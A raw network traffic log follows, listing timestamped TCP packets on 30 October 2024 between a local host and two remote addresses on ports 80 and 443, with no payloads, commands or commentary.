Oct 30, 2024 04:34:45.139200926 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.139230013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.139256001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.139301062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.139337063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.139358044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168289900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168354034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168378115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168423891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168457031 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168507099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168531895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168566942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168591976 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168612957 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168664932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168699980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168735981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168757915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168778896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168811083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168832064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168860912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168885946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168919086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.168939114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.168962002 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.177164078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.177217007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.177239895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.177275896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.177299023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.177329063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.177350998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.177386045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.177408934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.177438021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258310080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.258393049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.258429050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258462906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258517981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.258568048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258595943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.258637905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258681059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.258728981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258755922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.258800030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.258816004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258843899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258892059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.258944988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.258971930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259016991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259032011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259059906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259084940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259119034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259141922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259174109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259196997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259227991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259252071 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259279966 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259305954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259357929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259387016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259422064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259442091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259464979 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259493113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259526968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259557962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259582996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259604931 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259628057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259656906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259685993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259706020 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259727955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259757996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259793043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.259815931 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.259843111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.309459925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.314838886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.495516062 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.496049881 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.496113062 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.496578932 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.496593952 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.576227903 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.576719999 CET	51089	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.576750040 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.577249050 CET	51089	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.577255011 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.595573902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.595607996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.595654011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.595654011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.595731974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.595767021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.595792055 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.595818996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.595861912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.595895052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.595918894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.595947981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.595973969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596015930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596030951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596059084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596084118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596127987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596142054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596169949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596230030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596262932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596286058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596313000 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596363068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596415997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596436977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596470118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596493959 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596537113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596565008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596599102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596621037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596641064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596688032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596720934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596744061 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596772909 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596798897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596842051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596868992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596900940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.596924067 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596951008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.596976995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597021103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597048998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597083092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597104073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597127914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597157001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597218990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597234964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597265959 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597290039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597322941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597346067 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597363949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597393990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597426891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597449064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597481012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597502947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597536087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597557068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597583055 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597608089 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597642899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597661972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597686052 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597713947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597745895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597765923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597785950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597816944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597856998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597877026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597903967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.597929001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597961903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.597981930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.598009109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.598037958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.598072052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.598093033 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.598120928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.598145008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.598179102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.598198891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.598226070 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.598253965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.598288059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.598309994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.598331928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.598361015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.598411083 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.658648968 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.659148932 CET	51090	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.659171104 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.659596920 CET	51090	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.659609079 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.676106930 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.676544905 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.676556110 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.676970005 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.676975965 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.708734035 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.708872080 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.708934069 CET	51089	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.714986086 CET	51089	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.714998007 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.715055943 CET	51089	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.715063095 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.718712091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.718772888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.718799114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.718852043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.718889952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.718935966 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.718965054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719011068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719038963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719083071 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719110966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719146013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719172001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719197989 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719252110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719302893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719341040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719384909 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719413042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719458103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719459057 CET	51093	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.719485044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719489098 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.719530106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719558001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719563961 CET	51093	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.719604015 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719630957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719676018 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719702959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719747066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719762087 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719789028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719830990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719876051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719902039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.719955921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.719978094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720010042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720031023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720055103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720101118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720134020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720158100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720185041 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720211983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720262051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720284939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720326900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720343113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720371008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720388889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720432997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720459938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720503092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720520020 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720561981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720590115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720634937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720663071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720698118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720720053 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720748901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720776081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720820904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720835924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720864058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720890999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720925093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.720947027 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720974922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.720999956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721033096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721056938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721086025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721111059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721142054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721164942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721189976 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721218109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721246004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721266031 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721283913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721313000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721357107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721371889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721401930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721426010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721468925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721482992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721513987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721535921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721577883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721594095 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721620083 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721646070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721688986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721704006 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721731901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721759081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721791983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721812963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721837044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721863985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721896887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.721919060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721949100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.721972942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722007990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722032070 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722060919 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722086906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722129107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722141981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722170115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722196102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722229004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722249031 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722273111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722302914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722337008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722358942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722381115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722410917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722444057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722466946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722495079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722518921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722552061 CET	80	50987	185.215.113.206	192.168.2.6
